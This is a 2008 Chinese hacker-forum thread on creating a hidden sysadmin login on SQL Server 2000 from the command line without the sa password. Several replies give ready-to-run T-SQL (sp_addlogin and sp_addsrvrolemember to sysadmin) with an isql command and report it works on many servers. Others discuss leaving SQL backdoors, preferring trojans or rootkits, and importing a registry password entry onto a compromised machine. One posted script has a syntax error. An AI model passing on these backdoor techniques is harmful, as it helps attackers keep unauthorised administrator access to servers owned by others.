Board logo

标题: [讨论]sql server 2000 dos下如何新建sa权限用户 [打印本页]
作者: faye    时间: 2008-7-22 09:48     标题: [讨论]sql server 2000 dos下如何新建sa权限用户

[讨论]sql server 2000 dos下如何新建sa权限用户
议题作者：njl2
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

sql server 2000在 dos下如何新建sa权限用户；或者是更改sa用户密码，但是前提是不知道sa原来的密码。系统是win2000。有这方面的高人吗？

帖子3 精华0 积分10 阅读权限40 性别男 在线时间1 小时 注册时间2007-11-25 最后登录2008-2-7 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味


dingking
荣誉会员
作者: 夕风    时间: 2008-7-22 09:48

貌似要连接到MSSQL才能操作......要是都能DOS了...那搞下服务器应该没太大问题吧?为什么非要先加个SA用户呢?

昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯
帖子741 精华2 积分4784 阅读权限100 性别男 在线时间756 小时 注册时间2005-6-17 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 爱要怎么说出口

bluenight
晶莹剔透§烈日灼然
作者: 梦儿    时间: 2008-7-22 09:48

需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:

exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'

然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

测试N多服务器,好用
帖子30 精华0 积分93 阅读权限40 性别女 在线时间65 小时 注册时间2007-7-22 最后登录2008-5-15 查看个人网站
查看详细资料引用 报告 回复 TOP 良辰择日，预测咨询，公司改名，权威易经

fucking
晶莹剔透§烈日灼然
作者: liqun    时间: 2008-7-22 09:48

如果dos命令能执行添加SA的权限的命令话，楼猪这样做多此一举啊！！！
帖子28 精华0 积分103 阅读权限40 性别男 在线时间124 小时 注册时间2007-8-19 最后登录2008-6-6 查看详细资料引用 报告 回复 TOP

bluenight
晶莹剔透§烈日灼然
作者: ah_Ben    时间: 2008-7-22 09:49

一般留sql后门还是很有用的``
帖子30 精华0 积分93 阅读权限40 性别女 在线时间65 小时 注册时间2007-7-22 最后登录2008-5-15 查看个人网站
查看详细资料引用 报告 回复 TOP 少女暴富的隐秘（图）

fucking
晶莹剔透§烈日灼然
作者: 大个仔    时间: 2008-7-22 09:49

留后门的选择有很多，让我选的话，我肯定不会选留SQL上的后门，太容易暴露了，倒是留个拥有系统权限的木马或者ROOTKIT更好。。。
帖子28 精华0 积分103 阅读权限40 性别男 在线时间124 小时 注册时间2007-8-19 最后登录2008-6-6 查看详细资料引用 报告 回复 TOP 少女暴富的隐秘（图）

wake
晶莹剔透§烈日灼然
作者: kato    时间: 2008-7-22 09:49

有更好的办法就是你自己装一SQL2005,将注册表的密码部分导出,将该注册表放到肉鸡上导入后即为你自己机器上的sa密码........  
帖子4 精华0 积分16 阅读权限40 在线时间9 小时 注册时间2007-6-12 最后登录2008-1-8 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

67469696
晶莹剔透§烈日灼然
作者: 粟米    时间: 2008-7-22 09:49

exec master.dbo.sp_addlogin shashou,67469696
EXEC sp_addsrvrolemember shashou, sysadmin

保存成test.qry

然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
帖子7 精华0 积分14 阅读权限40 在线时间21 小时 注册时间2007-4-30 最后登录2008-7-14 查看详细资料引用 报告 回复 TOP

donker
晶莹剔透§烈日灼然



欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2